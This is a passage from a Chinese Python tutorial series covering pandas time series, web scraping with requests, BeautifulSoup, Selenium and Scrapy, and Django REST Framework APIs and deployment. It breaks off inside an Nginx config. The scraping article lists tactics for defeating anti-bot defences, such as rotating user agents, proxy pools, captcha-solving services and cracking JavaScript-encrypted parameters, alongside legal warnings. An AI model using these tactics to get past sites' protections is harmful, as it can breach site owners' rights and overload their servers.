df["日期"] = pd.to_datetime(df["日期"])

# 提取时间成分
df["日期"].dt.year
df["日期"].dt.month
df["日期"].dt.day
df["日期"].dt.dayofweek       # 星期几（0=周一）
df["日期"].dt.strftime("%Y-%m")   # 格式化

# 设为索引后做时间序列
df.set_index("日期", inplace=True)
df["2026-09"]                 # 按时间切片
df.resample("M")["销量"].sum()   # 重采样：按月汇总（M月/W周/D日）
df.rolling(window=7)["销量"].mean()  # 移动平均（7日窗口）

# 生成日期范围
pd.date_range("2026-01-01", periods=30, freq="D")   # 30天
pd.date_range("2026-01-01", "2026-12-31", freq="M") # 每月末

[!NOTE] resample（重采样）用于降采样/升采样（如按天→按月聚合），rolling（滚动窗口）用于计算移动平均、移动求和等，是时间序列分析的核心工具。freq：D日、W周、M月末、H时、T分。

常见问题 Q&A

Q1：NumPy 数组和 Python 列表有什么区别？ A：NumPy 数组要求同类型元素、内存连续、支持向量化运算（无需循环，底层 C 实现），数值计算快几十倍；列表可存不同类型、动态大小，但运算慢。做数值/科学计算用 ndarray，普通数据存储用 list。

Q2：loc 和 iloc 的区别？ A：loc 按标签（index/columns 的名字）选取，切片包含末尾；iloc 按整数位置选取，切片不包含末尾（同 Python 切片）。记法：loc=labels，iloc=integer location。

Q3：axis=0 和 axis=1 总是记混怎么办？ A：axis=0 是行的方向（竖直），聚合后行数被压扁，得到"每列的结果"；axis=1 是列的方向（水平），聚合后列被压扁，得到"每行的结果"。口诀：axis=0 竖着算（对列操作），axis=1 横着算（对行操作）。

Q4：SettingWithCopyWarning 警告怎么解决？ A：这是链式赋值（df[df.a>1]["b"]=2）触发的，可能改的是副本而非原数据。解决：用 .loc 一步到位 df.loc[df.a>1, "b"] = 2；或先 .copy() 再操作。

Q5：merge、concat、join 怎么选？ A：merge 按键合并（类似 SQL JOIN，最灵活）；concat 单纯堆叠（上下加行或左右加列，不看键）；join 基于索引合并（本质是 merge 的简化版）。按列匹配合并用 merge，纵向拼接用 concat。

Q6：apply、map、applymap 的区别？ A：map 用于 Series（逐元素，可传字典映射）；apply 用于 Series 或 DataFrame（可作用于行/列，axis 控制）；applymap 用于 DataFrame 逐元素。能向量化就都别用它们。

Q7：处理超大 CSV 内存不够怎么办？ A：① chunksize 分块读取：pd.read_csv(f, chunksize=10000) 迭代处理；② 只读需要的列 usecols=[...]；③ 指定 dtype 省内存（如 category 类型）；④ 用 Polars/Dask 等大数据库；⑤ 转 Parquet 格式（列式存储，省空间读得快）。

复习卡片

[!TIP] NumPy 与 pandas 速记

NumPy ndarray：同类型、连续内存、向量化，比 list 快几十倍

创建：np.array/zeros/ones/arange/linspace/random；属性 shape/dtype/ndim

索引：a[2:5]、a[行,列]、布尔索引 a[a>5]；切片是视图非副本

运算：逐元素 + - * /、矩阵乘 @、广播自动拉伸

聚合：sum/mean/max + axis=0（竖算）/axis=1（横算）

pandas 结构：Series（一维带标签）、DataFrame（二维表格）

读写：read_csv/read_excel/read_sql + to_csv(index=False)

选择：loc（标签，含末尾）/iloc（位置，不含末尾）/布尔索引（&|~+括号）

清洗：缺失 isnull/dropna/fillna、重复 drop_duplicates、类型 astype/to_datetime、异常值 clip

分析：groupby().agg()（分组聚合）、merge/concat（合并）、pivot_table/melt（重塑）、resample/rolling（时间序列）；能向量化就别用 apply

[!TIP] 下一篇：数据可视化将讲解 matplotlib 绘制各类图表、子图与样式定制、seaborn 统计可视化，以及 pyecharts 交互式图表，让数据"会说话"。

返回 Python 学习路线总览 | 合集页

网络爬虫

Fri, 18 Sep 2026 06:30:00 GMT

[!NOTE] 本文对应仓库 Day61~65：网络爬虫原理、抓取动态内容、并发下载、Scrapy 框架、分布式爬虫。爬虫是数据采集的核心技能，广泛用于数据分析、舆情监控、比价、SEO 等场景。但务必合法合规、尊重目标站点。

一、爬虫原理与合规

爬虫工作流程

1. 获取 URL（种子页面）
2. 发送 HTTP 请求，下载页面内容（HTML/JSON）
3. 解析页面，提取数据 + 提取新 URL
4. 数据持久化（文件/数据库）
5. 对新 URL 重复上述过程（广度/深度优先）

robots 协议

robots.txt 是网站的"君子协定"，声明哪些路径允许/禁止爬虫访问。

# 访问 https://example.com/robots.txt 查看
User-agent: *              # 对所有爬虫
Disallow: /admin/          # 禁止爬 /admin/
Disallow: /private/
Allow: /public/            # 允许爬 /public/
Crawl-delay: 10            # 爬取间隔 10 秒

# Python 内置检查 robots 协议
from urllib.robotparser import RobotFileParser

rp = RobotFileParser()
rp.set_url("https://example.com/robots.txt")
rp.read()
print(rp.can_fetch("*", "https://example.com/data/"))   # True/False

[!WARNING] 爬虫合规红线（务必遵守，否则可能触犯法律）：

遵守 robots.txt 协议

不爬取需要登录/付费/个人隐私的数据

控制频率，不给目标服务器造成压力（加延时、限并发）

不爬取受版权保护的内容用于商业牟利

抓取的数据合法使用，注明来源

反爬措施有明确的法律边界，绕过技术防护可能违法

二、requests 发起请求

requests 是最人性化的 HTTP 库，爬虫第一步。

pip install requests

import requests

# GET 请求
resp = requests.get("https://httpbin.org/get")
print(resp.status_code)          # 200
print(resp.text)                 # 响应文本（HTML/字符串）
print(resp.json())               # 响应 JSON（自动解析为 dict）
print(resp.encoding)             # 编码
print(resp.content)              # 原始字节（下载图片/文件用）

# 带参数
resp = requests.get("https://api.example.com/search",
                    params={"q": "python", "page": 1})   # ?q=python&page=1

# POST 请求
resp = requests.post("https://httpbin.org/post",
                     data={"user": "tom"})               # 表单
resp = requests.post(url, json={"user": "tom"})         # JSON

# 请求头（伪装浏览器，反爬基础）
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36",
    "Referer": "https://www.google.com/",
}
resp = requests.get(url, headers=headers)

# 超时、Cookie、代理
resp = requests.get(url, timeout=10)                    # 超时（必设！）
resp = requests.get(url, cookies={"session": "xxx"})    # 带 Cookie
resp = requests.get(url, proxies={"http": "http://1.2.3.4:8080"})  # 代理

Session 保持会话

# Session 自动管理 Cookie，登录后的请求都复用
session = requests.Session()
session.get("https://example.com/login")
session.post("https://example.com/login", data={"user": "tom", "pwd": "123"})
resp = session.get("https://example.com/profile")   # 已登录状态

下载文件

# 下载图片/文件（用 content 二进制流式写入）
def download_image(url, filename):
    resp = requests.get(url, timeout=10)
    if resp.status_code == 200:
        with open(filename, "wb") as f:
            f.write(resp.content)

# 大文件流式下载（避免占满内存）
with requests.get(big_file_url, stream=True) as r:
    with open("file.zip", "wb") as f:
        for chunk in r.iter_content(chunk_size=8192):
            f.write(chunk)

[!TIP] 请求失败要重试 + 异常处理。用 requests.adapters.HTTPAdapter 配合 urllib3.Retry 实现自动重试；resp.raise_for_status() 在非 2xx 时抛异常。

三、解析 HTML：BeautifulSoup 与 lxml

拿到 HTML 后要提取数据，两大主流解析库。

BeautifulSoup（bs4，易用）

pip install beautifulsoup4 lxml

from bs4 import BeautifulSoup

html = """
<div class="articles">
    <h2 id="title">文章标题</h2>
    <a href="/post/1" class="link">链接1</a>
    <a href="/post/2" class="link">链接2</a>
    <p>段落内容</p>
</div>
"""
soup = BeautifulSoup(html, "lxml")      # lxml 解析器（快）

# 查找节点
print(soup.title)                        # 标签
print(soup.find("h2", id="title").text)  # 按标签+属性找单个 → 文章标题
print(soup.find_all("a"))                # 找所有 a 标签

# CSS 选择器（select）
links = soup.select("div.articles a.link")    # 类选择器
for a in links:
    print(a.text, a["href"])             # 文本 + href 属性

# 获取属性
a = soup.find("a")
print(a.get("href"))                     # /post/1
print(a.attrs)                           # {'href': '/post/1', 'class': ['link']}

# 遍历
for child in soup.div.children:          # 直接子节点
    print(child)

CSS 选择器速查

tag              标签（div）
.class           类（.article）
#id              ID（#title）
div p            后代（div 内所有 p）
div > p          直接子级
div, span        多个选择器
a[href]          有 href 属性
a[href="/x"]     属性等于
a[href^="http"]  属性以...开头
li:nth-child(2)  第 2 个子元素

lxml + XPath（高效，Scrapy 用）

from lxml import etree

tree = etree.HTML(html)

# XPath 提取
titles = tree.xpath('//h2[@id="title"]/text()')      # 按 id 取文本
links = tree.xpath('//a[@class="link"]/@href')       # 取属性
items = tree.xpath('//div[@class="articles"]/a')     # 取节点

for item in items:
    print(item.xpath('./text()')[0])                 # 相对路径
    print(item.xpath('./@href')[0])

XPath 语法速查：
//node           任意位置的 node
/node            根下的 node
.                当前节点
..               父节点
@attr            属性
text()           文本
[条件]           过滤（//a[@href]、//li[1]）
*                通配符
|                或

[!NOTE] 三种提取方式对比：正则表达式（re）适合简单文本，但对嵌套 HTML 无能为力；BeautifulSoup 用 CSS 选择器最直观易学；XPath 功能最强、性能最好，Scrapy 默认用它。复杂结构优先 XPath/bs4，别用正则解析 HTML。

四、抓取动态内容（Day62）

很多网站用 JavaScript 动态渲染，requests 拿到的是空壳 HTML，数据靠 Ajax 加载。

方法1：直接分析 Ajax 接口（首选）

# 打开浏览器 F12 → Network → XHR/Fetch，找到返回数据的接口
# 很多"动态页面"其实是请求 JSON 接口再渲染，直接爬接口最高效！
import requests

api = "https://example.com/api/articles?page=1"
resp = requests.get(api, headers=headers)
data = resp.json()                        # 直接拿到结构化 JSON
for item in data["results"]:
    print(item["title"])

方法2：Selenium 模拟浏览器（万能但慢）

pip install selenium
# 还需下载浏览器驱动（ChromeDriver），新版 Selenium 4.6+ 自动管理

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# 启动浏览器
options = webdriver.ChromeOptions()
options.add_argument("--headless")        # 无头模式（不显示界面）
driver = webdriver.Chrome(options=options)

try:
    driver.get("https://example.com")

    # 显式等待（等元素出现，比 sleep 可靠）
    element = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CSS_SELECTOR, ".article-title"))
    )

    # 查找元素
    titles = driver.find_elements(By.CSS_SELECTOR, ".article-title")
    for t in titles:
        print(t.text)

    # 模拟交互
    driver.find_element(By.ID, "load-more").click()      # 点击
    driver.find_element(By.NAME, "q").send_keys("python") # 输入
    driver.execute_script("window.scrollTo(0, 10000)")   # 滚动到底部（触发懒加载）

    # 获取渲染后的 HTML
    print(driver.page_source)
finally:
    driver.quit()                         # 关闭浏览器

requests vs Selenium：
┌──────────┬────────────────┬────────────────┐
│          │ requests       │ Selenium       │
├──────────┼────────────────┼────────────────┤
│ 执行 JS  │ 否             │ 是（真实浏览器）│
│ 速度     │ 快             │ 慢             │
│ 资源占用 │ 低             │ 高（开浏览器） │
│ 动态页面 │ 需找接口       │ 直接渲染       │
│ 适用     │ 静态/JSON 接口 │ 复杂交互/验证码│
└──────────┴────────────────┴────────────────┘
原则：能爬接口就别用 Selenium，性能差几十倍。

[!TIP] 还有更轻量的方案：Playwright（微软出品，比 Selenium 快、API 现代）、requests-html。处理 JS 渲染优先考虑直接调 Ajax 接口，其次 Playwright/Selenium。

五、Scrapy 框架（Day63）

Scrapy 是专业的异步爬虫框架，适合大规模、结构化抓取，自带调度、去重、管道、中间件。

架构与安装

pip install scrapy

Scrapy 架构（五大组件）：
       ┌──────────────────────────────────────┐
       │              ENGINE（引擎）            │  总调度
       └──────────────────────────────────────┘
          │          │          │          │
   SCHEDULER     SPIDERS    PIPELINES  DOWNLOADER
   （调度器）    （爬虫）    （管道）    （下载器）
   管理待爬 URL  解析提取    处理数据    发请求下页面
                    │
              DOWNLOADER MIDDLEWARES（下载器中间件：代理、UA、重试）

创建项目与爬虫

scrapy startproject myspider          # 创建项目
cd myspider
scrapy genspider quotes quotes.toscrape.com   # 创建爬虫
scrapy crawl quotes                    # 运行爬虫

# myspider/spiders/quotes_spider.py
import scrapy

class QuotesSpider(scrapy.Spider):
    name = "quotes"                    # 爬虫名（唯一）
    allowed_domains = ["quotes.toscrape.com"]
    start_urls = ["https://quotes.toscrape.com/page/1/"]

    def parse(self, response):         # 默认回调，解析响应
        # 提取数据
        for quote in response.css("div.quote"):
            yield {                    # yield 字典 → 交给 Pipeline
                "text": quote.css("span.text::text").get(),
                "author": quote.css("small.author::text").get(),
                "tags": quote.css("div.tags a.tag::text").getall(),
            }

        # 翻页：yield Request 继续爬
        next_page = response.css("li.next a::attr(href)").get()
        if next_page:
            yield response.follow(next_page, callback=self.parse)

Item 与 Pipeline

# items.py：定义数据结构（可选，也可直接 yield dict）
import scrapy

class QuoteItem(scrapy.Item):
    text = scrapy.Field()
    author = scrapy.Field()
    tags = scrapy.Field()

# pipelines.py：处理数据（清洗、去重、存库）
class MySpiderPipeline:
    def process_item(self, item, spider):
        item["text"] = item["text"].strip()      # 清洗
        return item

    def open_spider(self, spider):               # 爬虫启动时（连数据库）
        pass
    def close_spider(self, spider):              # 爬虫关闭时（关连接）
        pass

# settings.py
ITEM_PIPELINES = {
    "myspider.pipelines.MySpiderPipeline": 300,   # 数字越小越先执行
}
ROBOTSTXT_OBEY = True            # 遵守 robots
DOWNLOAD_DELAY = 1               # 下载延时（防封）
CONCURRENT_REQUESTS = 16         # 并发请求数
DEFAULT_REQUEST_HEADERS = {"User-Agent": "Mozilla/5.0 ..."}

存储结果

# 导出为 JSON/CSV
scrapy crawl quotes -o quotes.json
scrapy crawl quotes -o quotes.csv

# 存 MongoDB / MySQL 在 Pipeline 的 process_item 里写库

[!NOTE] Scrapy 内置去重（同样的请求不重复发）、异步并发（Twisted 引擎）、自动重试、限流，比自己用 requests 循环强大得多。大规模结构化抓取首选 Scrapy；简单小任务用 requests + bs4 即可。

六、并发抓取与反爬应对

并发加速（多线程 / 异步）

# 多线程并发下载
from concurrent.futures import ThreadPoolExecutor

def fetch(url):
    return requests.get(url, headers=headers, timeout=10).text

urls = [f"https://example.com/page/{i}" for i in range(1, 50)]
with ThreadPoolExecutor(max_workers=10) as pool:
    results = list(pool.map(fetch, urls))

# 异步（aiohttp，高并发首选，见语言进阶篇）
# import aiohttp, asyncio

常见反爬手段与应对

反爬手段	应对策略
检查 User-Agent	请求头伪装成浏览器，随机切换 UA
检查 Referer/IP	带 Referer，使用 IP 代理池
频率限制	加 `DOWNLOAD_DELAY` 延时，控制并发
登录/验证码	带 Cookie/Session，验证码可打码平台或人工
动态渲染 JS	Selenium/Playwright，或直接爬 Ajax 接口
数据加密/字体混淆	逆向 JS，破解加密参数（有法律风险，谨慎）

# 随机 User-Agent
import random
UA_LIST = [
    "Mozilla/5.0 ... Chrome/120.0",
    "Mozilla/5.0 ... Firefox/121.0",
    "Mozilla/5.0 ... Safari/605.1",
]
headers = {"User-Agent": random.choice(UA_LIST)}

# 代理池（IP 被封时切换）
proxies = {"http": "http://proxy1:8080", "https": "https://proxy1:8080"}
resp = requests.get(url, headers=headers, proxies=proxies, timeout=10)

[!WARNING] 反爬与反反爬是持续的博弈，但绕过技术防护措施可能违反《反不正当竞争法》《数据安全法》甚至《刑法》。爬虫的底线是：不碰个人隐私、不破坏系统、不恶意占用资源、不侵犯版权。学习和正当数据采集用，切勿用于非法用途。

七、爬虫数据存储

# 存 CSV
import csv
with open("data.csv", "w", newline="", encoding="utf-8-sig") as f:
    writer = csv.writer(f)
    writer.writerow(["标题", "作者"])       # 表头
    writer.writerow(["文章1", "张三"])

# 存 JSON
import json
with open("data.json", "w", encoding="utf-8") as f:
    json.dump(items, f, ensure_ascii=False, indent=2)

# 存 MySQL（用 pymysql，见数据库篇）
# 存 MongoDB（适合非结构化，Schema 灵活）
# from pymongo import MongoClient
# client = MongoClient("mongodb://localhost:27017/")
# db = client["spider"]
# db["quotes"].insert_one({"text": "...", "author": "..."})

常见问题 Q&A

Q1：requests 拿到的是空页面/没有数据？ A：多半是动态渲染——页面数据由 JavaScript 加载。解决：① 打开 F12 → Network → XHR，找返回数据的 Ajax 接口直接爬（首选）；② 用 Selenium/Playwright 执行 JS 渲染后再解析。

Q2：BeautifulSoup、lxml、正则怎么选？ A：正则适合从纯文本提取简单模式（如所有邮箱），不适合解析嵌套 HTML；BeautifulSoup 用 CSS 选择器最直观；lxml + XPath 性能最好、功能最强。解析 HTML 优先 bs4/XPath。

Q3：什么时候用 Scrapy，什么时候用 requests？ A：小任务、几十个页面、逻辑简单 → requests + bs4 足够；大规模、需翻页/去重/并发/存库、结构化抓取 → Scrapy（自带调度、管道、去重、限流）。

Q4：get() 和 getall() 的区别（Scrapy 选择器）？ A：get()（等价 extract_first()）返回第一个匹配（无匹配返回 None）；getall()（等价 extract()）返回所有匹配的列表。

Q5：IP 被封了怎么办？ A：① 降低频率（加延时、减并发）；② 用代理 IP 池轮换；③ 分布式部署在不同机器；④ 遵守 robots、错峰抓取。根本上还是别把人家服务器爬崩，控制速率最重要。

Q6：如何处理需要登录的网站？ A：用 requests.Session() 保持会话：先请求登录接口（带上 CSRF token、账号密码），登录成功后 Session 自动携带 Cookie，后续请求都是登录态。或用 Selenium 模拟登录后导出 Cookie。注意别爬隐私数据。

Q7：爬虫合法吗？ A：爬虫技术本身中立，合法与否看用途和方式。遵守 robots、不爬隐私/版权数据、不影响服务器正常运行、数据合法使用，一般没问题；恶意抓取、绕过防护牟利、爬个人隐私可能违法。商用前务必咨询法律意见。

复习卡片

[!TIP] 网络爬虫速记

流程：获取 URL → 发请求 → 解析 → 存数据 → 提取新 URL 循环

合规：遵守 robots.txt、不碰隐私版权、控频率、不破坏系统

requests：get/post、headers 伪装 UA、Session 保持登录、content 下载、timeout 必设

解析三剑客：正则（纯文本）、BeautifulSoup（CSS 选择器易学）、lxml+XPath（高性能）

动态页面：优先爬 Ajax/JSON 接口；其次 Selenium/Playwright 渲染

Scrapy 架构：Engine/Scheduler/Spiders/Pipelines/Downloader + 中间件

Scrapy 用法：yield 数据给 Pipeline，yield Request/follow 翻页，-o 导出

并发：ThreadPoolExecutor 多线程、aiohttp 异步、Scrapy 自带异步

反爬应对：随机 UA、代理池、延时、Cookie、破解 JS（有法律风险）

存储：CSV/JSON（简单）、MySQL（结构化）、MongoDB（灵活 Schema）

[!TIP] 下一篇：数据分析：NumPy 与 pandas 将进入数据科学赛道，讲解 NumPy 数组运算、pandas 的 Series/DataFrame、数据清洗、分组聚合、合并重塑与时间序列处理。

返回 Python 学习路线总览 | 合集页

Django 进阶与 DRF

Fri, 18 Sep 2026 06:00:00 GMT

[!NOTE] 本文对应仓库 Day53~60：RESTful 架构、DRF 序列化器与视图、路由器、认证权限、分页限流、缓存与部署。前后端分离时代，用 Django Rest Framework（DRF）快速构建 API 是后端开发者的核心技能。

一、RESTful API 设计

什么是 REST

REST（Representational State Transfer，表述性状态转移）是一种软件架构风格，核心思想：把一切都抽象为资源，用 URL 定位资源，用 HTTP 方法操作资源。

RESTful 设计原则：
1. 资源用名词，不用动词：/users ✅  /getUser ❌
2. 用 HTTP 方法表达操作：GET 查、POST 增、PUT/PATCH 改、DELETE 删
3. URL 表示资源层级：/users/1/posts（用户1的文章）
4. 无状态：每个请求自带全部信息（认证），服务器不存会话状态
5. 用 JSON 作为数据交换格式

RESTful URL 设计示例

方法	URL	含义
GET	`/api/posts/`	获取文章列表
POST	`/api/posts/`	创建新文章
GET	`/api/posts/1/`	获取 ID=1 的文章
PUT	`/api/posts/1/`	整体更新 ID=1 的文章
PATCH	`/api/posts/1/`	局部更新 ID=1 的文章
DELETE	`/api/posts/1/`	删除 ID=1 的文章

[!NOTE] 同一个 URL /api/posts/1/，靠不同的 HTTP 方法区分操作，这是 REST 的精髓。而不是设计 /api/getPost、/api/updatePost、/api/deletePost 这种动词式 URL。

二、DRF 序列化器（Serializer）

序列化器负责 模型对象 ↔ JSON 的双向转换，同时做数据校验。

安装与配置

pip install djangorestframework

# settings.py
INSTALLED_APPS = [
    # ...
    "rest_framework",
]

ModelSerializer（最常用）

# blog/serializers.py
from rest_framework import serializers
from .models import Post, Category

class CategorySerializer(serializers.ModelSerializer):
    class Meta:
        model = Category
        fields = ["id", "name"]        # 指定字段，或 "__all__"

class PostSerializer(serializers.ModelSerializer):
    category = CategorySerializer(read_only=True)     # 嵌套序列化（读）
    category_id = serializers.PrimaryKeyRelatedField( # 写时用 ID
        queryset=Category.objects.all(), source="category", write_only=True
    )
    author_name = serializers.CharField(source="author.username", read_only=True)

    class Meta:
        model = Post
        fields = ["id", "title", "content", "views",
                  "category", "category_id", "author_name", "created_at"]
        read_only_fields = ["views", "created_at"]    # 只读，不允许客户端改

序列化与反序列化

# 序列化（对象 → JSON）：many=True 处理多条
posts = Post.objects.all()
serializer = PostSerializer(posts, many=True)
print(serializer.data)        # [{'id':1,'title':'...',...}, ...]

# 反序列化（JSON → 对象）：需校验
serializer = PostSerializer(data={"title": "新文章", "content": "..."})
if serializer.is_valid():                 # 校验数据
    serializer.save()                     # 创建对象
else:
    print(serializer.errors)              # 校验失败的错误信息

# 更新（传入 instance）
post = Post.objects.get(id=1)
serializer = PostSerializer(post, data={"title": "改标题"}, partial=True)  # partial 局部更新
if serializer.is_valid():
    serializer.save()

字段校验

class PostSerializer(serializers.ModelSerializer):
    # 自定义校验：校验单个字段 validate_<字段名>
    def validate_title(self, value):
        if "敏感词" in value:
            raise serializers.ValidationError("标题含敏感词")
        return value

    # 全局校验：跨字段验证
    def validate(self, attrs):
        if attrs.get("start") and attrs.get("end"):
            if attrs["start"] > attrs["end"]:
                raise serializers.ValidationError("开始时间不能晚于结束时间")
        return attrs

    class Meta:
        model = Post
        fields = "__all__"

[!TIP] 常用序列化字段：CharField、IntegerField、BooleanField、DateTimeField、EmailField、SlugField、HyperlinkedIdentityField（生成 URL）。校验器：required、allow_null、max_length、validators。

三、DRF 视图

DRF 提供多个层次的视图，从底层到高层越来越省事。

视图类层次

APIView（最基础，手写 get/post）
   └── GenericAPIView（增加 queryset/serializer_class）
          └── Mixin + GenericAPIView（组合出增删改查）
                 └── ViewSet（按 action 组织，配合 Router 自动生成路由）
                        └── ModelViewSet（一站式 CRUD）

1. APIView（最灵活）

# blog/views.py
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from .models import Post
from .serializers import PostSerializer

class PostListView(APIView):
    def get(self, request):                # 处理 GET
        posts = Post.objects.all()
        serializer = PostSerializer(posts, many=True)
        return Response(serializer.data)

    def post(self, request):               # 处理 POST
        serializer = PostSerializer(data=request.data)
        if serializer.is_valid():
            serializer.save()
            return Response(serializer.data, status=status.HTTP_201_CREATED)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

2. GenericAPIView + Mixin

from rest_framework import generics, mixins

# 列表 + 创建
class PostList(mixins.ListModelMixin, mixins.CreateModelMixin,
               generics.GenericAPIView):
    queryset = Post.objects.all()
    serializer_class = PostSerializer

    def get(self, request, *args, **kwargs):
        return self.list(request, *args, **kwargs)
    def post(self, request, *args, **kwargs):
        return self.create(request, *args, **kwargs)

# 更简洁：直接用封装好的通用视图
from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView

class PostListCreate(ListCreateAPIView):        # 列表 + 创建
    queryset = Post.objects.all()
    serializer_class = PostSerializer

class PostDetail(RetrieveUpdateDestroyAPIView): # 详情 + 改 + 删
    queryset = Post.objects.all()
    serializer_class = PostSerializer

3. ViewSet + ModelViewSet（最推荐）

from rest_framework import viewsets
from .models import Post
from .serializers import PostSerializer

# ModelViewSet 一站式提供 list/create/retrieve/update/partial_update/destroy
class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer

    # 自定义 action（额外接口）
    from rest_framework.decorators import action
    @action(detail=True, methods=["post"])     # detail=True 针对单个对象
    def publish(self, request, pk=None):
        post = self.get_object()
        post.is_published = True
        post.save()
        return Response({"status": "已发布"})
    # 访问 /api/posts/1/publish/

四、路由器（Router）

Router 能根据 ViewSet 自动生成 URL，省去手写路由。

# blog/urls.py
from django.urls import path, include
from rest_framework.routers import DefaultRouter
from .views import PostViewSet, CategoryViewSet

router = DefaultRouter()
router.register("posts", PostViewSet, basename="post")
router.register("categories", CategoryViewSet, basename="category")

urlpatterns = [
    path("api/", include(router.urls)),
]

Router 自动生成的 URL：
GET    /api/posts/          列表（list）
POST   /api/posts/          创建（create）
GET    /api/posts/1/        详情（retrieve）
PUT    /api/posts/1/        更新（update）
PATCH  /api/posts/1/        局部更新（partial_update）
DELETE /api/posts/1/        删除（destroy）
GET    /api/                API 根视图（可浏览的接口首页）

[!NOTE] DRF 自带可浏览 API（Browsable API）：浏览器访问接口会看到漂亮的 HTML 界面，能直接测试。生产环境可关闭，只保留 JSON。

五、认证与权限（Day57）

认证方式

认证方式	说明	适用场景
SessionAuthentication	基于 Session/Cookie	传统 Web、同源前后端
TokenAuthentication	基于 Token（存数据库）	简单 API
JWTAuthentication	基于 JSON Web Token	前后端分离、移动端（推荐）
BasicAuthentication	HTTP Basic（用户名密码）	测试、内部工具

# JWT 认证（推荐，用 djangorestframework-simplejwt）
pip install djangorestframework-simplejwt

# settings.py
REST_FRAMEWORK = {
    "DEFAULT_AUTHENTICATION_CLASSES": [
        "rest_framework_simplejwt.authentication.JWTAuthentication",
    ],
}

# urls.py（提供获取/刷新 token 的接口）
from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView
urlpatterns += [
    path("api/token/", TokenObtainPairView.as_view()),   # 用账号密码换 token
    path("api/token/refresh/", TokenRefreshView.as_view()), # 刷新 token
]

JWT 流程：
1. 用户 POST /api/token/ 提交账号密码 → 服务器返回 access + refresh token
2. 后续请求在头部带上：Authorization: Bearer <access_token>
3. access 过期后用 refresh token 换新的 access
4. JWT 无状态，服务器不存 session，适合分布式

权限控制

from rest_framework.permissions import IsAuthenticated, IsAdminUser, BasePermission

# 内置权限类
# AllowAny         任何人可访问
# IsAuthenticated  仅登录用户
# IsAdminUser      仅管理员
# IsAuthenticatedOrReadOnly  登录可写，未登录只读

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    permission_classes = [IsAuthenticatedOrReadOnly]   # 应用权限

# 自定义权限：只有作者能改自己的文章
class IsAuthorOrReadOnly(BasePermission):
    def has_object_permission(self, request, view, obj):
        if request.method in ("GET", "HEAD", "OPTIONS"):
            return True                       # 读操作放行
        return obj.author == request.user     # 写操作需是作者

六、分页、过滤与限流（Day58）

分页（Pagination）

# settings.py 全局配置
REST_FRAMEWORK = {
    "DEFAULT_PAGINATION_CLASS": "rest_framework.pagination.PageNumberPagination",
    "PAGE_SIZE": 10,
}

# 响应格式：
# { "count": 100, "next": "...", "previous": null, "results": [...] }

# 自定义分页类
from rest_framework.pagination import PageNumberPagination, LimitOffsetPagination

class MyPagination(PageNumberPagination):
    page_size = 10
    page_size_query_param = "size"      # 允许客户端指定每页数量 ?size=20
    max_page_size = 100

过滤（Filtering）

pip install django-filter

import django_filters
from .models import Post

class PostFilter(django_filters.FilterSet):
    title = django_filters.CharFilter(lookup_expr="icontains")   # 模糊
    min_views = django_filters.NumberFilter(field_name="views", lookup_expr="gte")

    class Meta:
        model = Post
        fields = ["category", "is_published"]

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    filter_backends = [DjangoFilterBackend, SearchFilter, OrderingFilter]
    filterset_class = PostFilter                 # 精确/自定义过滤
    search_fields = ["title", "content"]         # ?search=关键词
    ordering_fields = ["views", "created_at"]    # ?ordering=-views

限流（Throttling）

# settings.py：防止接口被刷
REST_FRAMEWORK = {
    "DEFAULT_THROTTLE_CLASSES": [
        "rest_framework.throttling.AnonRateThrottle",   # 匿名用户
        "rest_framework.throttling.UserRateThrottle",   # 登录用户
    ],
    "DEFAULT_THROTTLE_RATES": {
        "anon": "100/hour",        # 匿名每小时 100 次
        "user": "1000/day",        # 用户每天 1000 次
    },
}
# 超限返回 429 Too Many Requests

七、缓存与性能优化

# Django 缓存（Redis 为例）
CACHES = {
    "default": {
        "BACKEND": "django_redis.cache.RedisCache",
        "LOCATION": "redis://127.0.0.1:6379/1",
    }
}

# 视图级缓存
from django.views.decorators.cache import cache_page

@cache_page(60 * 15)              # 缓存 15 分钟
def index(request):
    ...

# 手动缓存
from django.core.cache import cache
cache.set("key", value, timeout=60)
value = cache.get("key", default=None)
cache.delete("key")

性能优化清单：
1. 用 select_related / prefetch_related 消除 N+1 查询
2. 只查需要的字段：.only("title") / .defer("content") / .values()
3. 热点数据上缓存（Redis），减少数据库压力
4. 数据库加索引（见上一篇 MySQL 索引）
5. 静态文件交给 Nginx/CDN，不走 Django
6. 用 Debug Toolbar / silk 定位慢查询

八、部署上线（Day59-60）

开发用的 runserver 不能上生产，需要专业的 WSGI 服务器 + Nginx。

部署架构

用户 → Nginx（反向代理/静态文件/负载均衡）
         ├── 静态文件（css/js/img）直接返回
         └── 动态请求 → Gunicorn/uWSGI（WSGI 服务器）→ Django 应用 → 数据库

Gunicorn（推荐，简单高效）

pip install gunicorn

# 启动（4 个 worker，绑定 8000 端口）
gunicorn mysite.wsgi:application -w 4 -b 127.0.0.1:8000

# 常用参数
-w 4                    # worker 进程数（一般 = CPU 核数 * 2 + 1）
-b 127.0.0.1:8000       # 绑定地址端口
--daemon                # 后台运行
--access-logfile -      # 访问日志输出到标准输出

uWSGI（功能强大）

pip install uwsgi

# mysite_uwsgi.ini
[uwsgi]
socket = 127.0.0.1:8000       # 与 Nginx 通信用 socket
chdir = /path/to/mysite       # 项目目录
module = mysite.wsgi          # WSGI 模块
master = true                 # 主进程
processes = 4                 # 进程数
threads = 2                   # 每进程线程数
vacuum = true                 # 退出清理
daemonize = /var/log/uwsgi.log

Nginx 配置

server {
    listen 80;
    server_name example.com;

    # 静态文件由 Nginx 直接处理（高性能）
    location /static/ {
        alias /path/to/mysite/static/;
    }

    # 动态请求转发给 Gunicorn
    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
